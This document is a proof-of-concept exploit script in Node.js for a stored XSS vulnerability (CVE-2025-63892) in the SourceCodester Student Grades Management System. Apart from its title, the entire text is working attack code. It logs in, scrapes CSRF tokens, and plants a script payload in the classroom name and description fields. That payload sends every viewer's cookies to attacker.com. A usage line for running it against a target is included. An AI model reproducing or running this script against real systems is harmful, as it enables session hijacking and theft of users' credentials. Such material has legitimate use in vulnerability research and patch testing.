CVE-2025-63892: SourceCodester Student Grades Management System 存储型XSS漏洞

// CVE-2025-63892 PoC - Stored XSS in SourceCodester Student Grades Management System // Target: /classroom.php - create_classroom function const axios = require('axios'); const cheerio = require('cheerio'); async function exploit(targetUrl, username, password) { const session = axios.create({ baseURL: targetUrl }); try { // Step 1: Login to obtain authenticated session const loginPage = await session.get('/login.php'); const $ = cheerio.load(loginPage.data); const csrfToken = $('input[name="csrf_token"]').val(); await session.post('/login.php', { csrf_token: csrfToken, username: username, password: password }); console.log('[+] Login successful'); // Step 2: Get CSRF token for classroom creation const classroomPage = await session.get('/classroom.php'); const $classroom = cheerio.load(classroomPage.data); const classroomCsrfToken = $classroom('input[name="csrf_token"]').val(); // Step 3: Inject stored XSS payload in name/description const xssPayload = '<script>fetch("https://attacker.com/log?c="+document.cookie)</script>'; await session.post('/classroom.php', { csrf_token: classroomCsrfToken, action: 'create_classroom', name: xssPayload, description: xssPayload }); console.log('[+] XSS payload injected successfully'); console.log('[+] Payload will execute when users view the classroom'); } catch (error) { console.error('[-] Exploitation failed:', error.message); } } // Usage: node poc.js <target_url> <username> <password> exploit(process.argv[2], process.argv[3], process.argv[4]);